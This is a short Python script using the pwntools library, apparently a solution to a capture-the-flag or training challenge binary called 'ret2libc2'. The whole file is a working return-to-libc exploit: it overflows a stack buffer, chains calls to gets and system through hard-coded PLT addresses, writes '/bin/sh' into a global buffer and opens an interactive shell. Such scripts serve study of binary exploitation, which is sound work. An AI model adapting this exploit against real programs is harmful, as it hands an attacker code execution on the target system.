#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

system_plt = 0x08048490
gets_plt = 0x08048460
offset = 0x6c+4
buf2_addr = 0x804a080

payload = b'A'*offset+p32(gets_plt)+p32(system_plt)+p32(buf2_addr)+p32(buf2_addr)
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()